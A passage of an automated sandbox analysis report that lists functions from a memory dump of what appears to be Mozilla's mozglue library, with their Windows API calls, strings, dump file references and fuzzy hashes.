CryptCATAdminAcquireContext2, xrefs: 6CB200A1
wintrust.dll, xrefs: 6CB20083

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 0fcd3c2ff80928909165f11ff49a67a65d73a2d5e8dfd436aa15d9f85c792b9a
Instruction ID: 1976de05ac147bb1ec4c303b7b7afdb86d585493f6ab5f6652903ce5ea55fe85
Opcode Fuzzy Hash: 0fcd3c2ff80928909165f11ff49a67a65d73a2d5e8dfd436aa15d9f85c792b9a
Instruction Fuzzy Hash: 47E0E574601385DAEF00AB67D8187367BF9A70B346F004456A914C3B81D778C0009F12

Function 6CB200D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAF7235), ref: 6CB200D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CB200F7
FreeLibrary.KERNEL32(?,6CAF7235), ref: 6CB2010E

Strings

wintrust.dll, xrefs: 6CB200D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CB200F1

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 72cb086c0efc129f42b8a972d58b22fba0f5adcf230e1ee9352fd87ad8d25f9f
Instruction ID: 92d65e2238d67905d614c1086e2263ef878e6749e20afaa86c8c4c37ba25dd5a
Opcode Fuzzy Hash: 72cb086c0efc129f42b8a972d58b22fba0f5adcf230e1ee9352fd87ad8d25f9f
Instruction Fuzzy Hash: B3E01A74745385DBEF009F2BDA1A7313BF9F702206F144455BA1E83BC0D77480009B11

Function 6CB4C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB4C0E9), ref: 6CB4C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB4C437
FreeLibrary.KERNEL32(?,6CB4C0E9), ref: 6CB4C44C

Strings

NtQueryVirtualMemory, xrefs: 6CB4C431
ntdll.dll, xrefs: 6CB4C413

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: afa7ff912e6dc7b0614baa4c19da2d4f012abfbfe106ee757370525a4d167275
Instruction ID: af23f1739181f37f9d7966eb54beb1f7afd0338f6e6ae0a76d12d8c9e0aa9ee5
Opcode Fuzzy Hash: afa7ff912e6dc7b0614baa4c19da2d4f012abfbfe106ee757370525a4d167275
Instruction Fuzzy Hash: 70E0B674705341DBDF007F73CA187397BF8F746616F00956AAA0493784EBB1C4049B51

Function 6CB475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB4748B,?), ref: 6CB475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB475D7
FreeLibrary.KERNEL32(?,6CB4748B,?), ref: 6CB475EC

Strings

ntdll.dll, xrefs: 6CB475B3
RtlNtStatusToDosError, xrefs: 6CB475D1

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 3c800c122f71c85a6d564ec9e2dc6f6b384b8d5400940f16716e4ff5bba5951f
Instruction ID: 5bd26e37dcb46b85dcd66e7a3aa640f04019e16c6f28d1440149fc48dda200fd
Opcode Fuzzy Hash: 3c800c122f71c85a6d564ec9e2dc6f6b384b8d5400940f16716e4ff5bba5951f
Instruction Fuzzy Hash: E5E0B676708341ABEF006FA3C848731BBF8EB16219F108429F905D7A80EBB08445EF51

Function 6CB47600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB47592), ref: 6CB47608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB47627
FreeLibrary.KERNEL32(?,6CB47592), ref: 6CB4763C

Strings

ntdll.dll, xrefs: 6CB47603
NtUnmapViewOfSection, xrefs: 6CB47621

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 5b35a959fd2b5888716ca38fad5feecfee2b2fdf2f6eb7baa35496405cd907d0
Instruction ID: 44225f1e934557822a672c44d7b0323e78ed1cb117a9fe3b7a66673ead44a59e
Opcode Fuzzy Hash: 5b35a959fd2b5888716ca38fad5feecfee2b2fdf2f6eb7baa35496405cd907d0
Instruction Fuzzy Hash: CBE09A757043419BDF005FA7D808731BBB8F72A25AF109525E905D3680E7B0C004DF19

Function 6CB4BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CB4BE49), ref: 6CB4BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CB4BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CB4BE49), ref: 6CB4BF38
RtlReAllocateHeap.NTDLL ref: 6CB4BF83
RtlFreeHeap.NTDLL ref: 6CB4BFA6

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 9fc7bcdf3a35a7ca26e2f996f48ef1a57f252da183597d6d2f85464e7cd3d32a
Instruction ID: 44fdbe664198dcef68e07b2ff13cceab08b7844a1b905e0e47c19dbe1e2d0c6f
Opcode Fuzzy Hash: 9fc7bcdf3a35a7ca26e2f996f48ef1a57f252da183597d6d2f85464e7cd3d32a
Instruction Fuzzy Hash: 9C51A371A046418FEB14CF69CC80B9EB3A2FF98314F298639D61997B58D730F9069B81

Function 6CB38E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB2B58D,?,?,?,?,?,?,?,6CB5D734,?,?,?,6CB5D734), ref: 6CB38E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB2B58D,?,?,?,?,?,?,?,6CB5D734,?,?,?,6CB5D734), ref: 6CB38EBF
free.MOZGLUE(?,?,?,?,6CB2B58D,?,?,?,?,?,?,?,6CB5D734,?,?,?), ref: 6CB38F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB2B58D,?,?,?,?,?,?,?,6CB5D734,?,?,?,6CB5D734), ref: 6CB38F46
free.MOZGLUE(?,?,?,?,6CB2B58D,?,?,?,?,?,?,?,6CB5D734,?,?,?), ref: 6CB38F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB2B58D,?,?,?,?,?,?,?,6CB5D734,?,?,?), ref: 6CB38F8F

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d689200a60785861c6d2a22ed15179ba51902c9b9b0380c95c6cf62c2df070bc
Instruction ID: 0744804cbb9565a1a8a4fb97456758efc3c3567c9d33651d853db1a5b5617650
Opcode Fuzzy Hash: d689200a60785861c6d2a22ed15179ba51902c9b9b0380c95c6cf62c2df070bc
Instruction Fuzzy Hash: A05180B1A012668FEF14CF64D88066E77B6FF44318F15092AD91AEB740E732F905CB92

Function 6CAF60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAF5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CAF5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF6180
free.MOZGLUE(?,?,?,?,6CAF5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAF6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAF5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF6229
free.MOZGLUE(?,?,?,?,6CAF5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAF625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAF5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAF6271

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 577fc0e95a347c13a7d3da62cd7290a1f9ffa50b188cda5b4bb71007667aa10d
Instruction ID: 91dcf917193f04dab5a5bef0047f8aad86c26e9709a6b70535efc4a39a3b2f8a
Opcode Fuzzy Hash: 577fc0e95a347c13a7d3da62cd7290a1f9ffa50b188cda5b4bb71007667aa10d
Instruction Fuzzy Hash: FC51BFB1A002068FEB14CFA8D8807AEB7B5EF45308F240439E566D7741E731E99ACB55

Function 6CB327E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB32620,?,?,?,6CB260AA,6CB25FCB,6CB279A3), ref: 6CB3284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB32620,?,?,?,6CB260AA,6CB25FCB,6CB279A3), ref: 6CB3289A
free.MOZGLUE(?,?,?,6CB32620,?,?,?,6CB260AA,6CB25FCB,6CB279A3), ref: 6CB328F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB32620,?,?,?,6CB260AA,6CB25FCB,6CB279A3), ref: 6CB32910
free.MOZGLUE(00000001,?,?,6CB32620,?,?,?,6CB260AA,6CB25FCB,6CB279A3), ref: 6CB3293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CB32620,?,?,?,6CB260AA,6CB25FCB,6CB279A3), ref: 6CB3294E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2a6208d2ee09b6db19d7f560ac0181127a159228a39a484353ba68eefde8c36f
Instruction ID: dd2ddb584fb97425e9dd1202b9e9b6f751ba2825003aceb8f6b399b250a6508b
Opcode Fuzzy Hash: 2a6208d2ee09b6db19d7f560ac0181127a159228a39a484353ba68eefde8c36f
Instruction Fuzzy Hash: D041E3B1A002668FEB14CF68D88436A73F5EF45318F150639D95AEB741E731E904CB93

Function 6CAECFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6E784), ref: 6CAECFF6
LeaveCriticalSection.KERNEL32(6CB6E784), ref: 6CAED026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CAED06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CAED139

Strings

MOZ_CRASH(), xrefs: 6CAED187

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 1b1d039428f2017843ac9f9906609a8e3439c95e38fa22964bd9db30e58f9f94
Instruction ID: 0aaa46231623586ed8f234482fc4eb1201160fba3e73749e4808f33447165758
Opcode Fuzzy Hash: 1b1d039428f2017843ac9f9906609a8e3439c95e38fa22964bd9db30e58f9f94
Instruction Fuzzy Hash: 4541BD72F012568FDB048E6ECD903BEB6B4EB99714F180139EA19E77C4E7A19C419BC0

Function 6CAE4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAE4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAE4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAE4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAE4F1E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 943b883bf1b954c1267ae04afca5142c7cef2eb47ca725ac652acbff7d6be983
Instruction ID: eaef2a8244464e9b14402b6bd6173e35435fd6ec43c69163bd2a79be9664cbbb
Opcode Fuzzy Hash: 943b883bf1b954c1267ae04afca5142c7cef2eb47ca725ac652acbff7d6be983
Instruction Fuzzy Hash: 2141CB716087059FC701CFA9C88099BB7E8BF89744F148A2DF56687641DB30E998DBD1

Function 6CB4A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6F770), ref: 6CB4A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4A87B

Part of subcall function 6CB4A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CB4A88F,00000000), ref: 6CB4A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CB4A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4A90C
LeaveCriticalSection.KERNEL32(6CB6F770), ref: 6CB4A97E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 2925ce7db259029388de3f482412ecec46767cca1ae75ff12a638a50803a563e
Instruction ID: 22b0272740261525b6295c705d8b8c08b4b0efdba8f49ae5d6643c075d5f1d00
Opcode Fuzzy Hash: 2925ce7db259029388de3f482412ecec46767cca1ae75ff12a638a50803a563e
Instruction Fuzzy Hash: 3C41C1B5E002889FDB00DFA4D845BEEB775FF08324F148629E826AB781D7319945CF91

Function 6CAF1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAF152B,?,?,?,?,6CAF1248,?), ref: 6CAF159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAF152B,?,?,?,?,6CAF1248,?), ref: 6CAF15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAF152B,?,?,?,?,6CAF1248,?), ref: 6CAF15E7
free.MOZGLUE(?,?,?,?,?,?,6CAF152B,?,?,?,?,6CAF1248,?), ref: 6CAF1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAF152B,?,?,?,?,6CAF1248,?), ref: 6CAF1637

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: a5c9325af3171ff65f721a25e5b0d46b64eb9d469d4b4b9312fe356ffe67d3ef
Instruction ID: c1fdbcf58cfe376406fbda4272719fef8c6537ec13f18755fc0106c9ab7be0b2
Opcode Fuzzy Hash: a5c9325af3171ff65f721a25e5b0d46b64eb9d469d4b4b9312fe356ffe67d3ef
Instruction Fuzzy Hash: E231F6B2A001048BCB189E7DD8504BE77A9AB813647280B2DF533DBBD4EB30D9568791

Function 6CB4AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB5E330,?,6CB0C059), ref: 6CB4AD9D

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB5E330,?,6CB0C059), ref: 6CB4ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB5E330,?,6CB0C059), ref: 6CB4AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB5E330,?,6CB0C059), ref: 6CB4AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB5E330,?,6CB0C059), ref: 6CB4AE3D

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bdbce1a77f56673412ccada64ad5965624a034c33e922c689da2b2df6db13e1a
Instruction ID: 6fb98eec931d2abed6dbad9c262e266780162f6ce51e906754181f04bd6de874
Opcode Fuzzy Hash: bdbce1a77f56673412ccada64ad5965624a034c33e922c689da2b2df6db13e1a
Instruction Fuzzy Hash: CA3150B1A042559FDB10DF7ACC44AAFBBF9EF48614F558829E85AD7740E734E804CBA0

Function 6CB45EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB5DCA0,?,?,?,6CB1E8B5,00000000), ref: 6CB45F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB1E8B5,00000000), ref: 6CB45F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB1E8B5,00000000), ref: 6CB45F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB1E8B5,00000000), ref: 6CB45F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB1E8B5,00000000), ref: 6CB45FD6

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: c4e67d2bfeaebc42f65e419f137ed7463031459c46624224e2275b58b3c8e44c
Instruction ID: c9c3c882f7cad2270a762081747be15cda6c960194919117154cef5f438bffad
Opcode Fuzzy Hash: c4e67d2bfeaebc42f65e419f137ed7463031459c46624224e2275b58b3c8e44c
Instruction Fuzzy Hash: 97314F34304A508FDB10CF29C898E2AB7F9FF89318B648558F9568BB99C731EC45DB81

Function 6CAEB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CAEB532
moz_xmalloc.MOZGLUE(?), ref: 6CAEB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAEB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CAEB57E
free.MOZGLUE(00000000), ref: 6CAEB58F

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 26a28a5a066e93eab592a513c5801690cde02bff7e771f76d262cf0d57fb202a
Instruction ID: 5f52890e2561a1a09a5094efc6088bade8924b871ef83b13962ad0a3f880af10
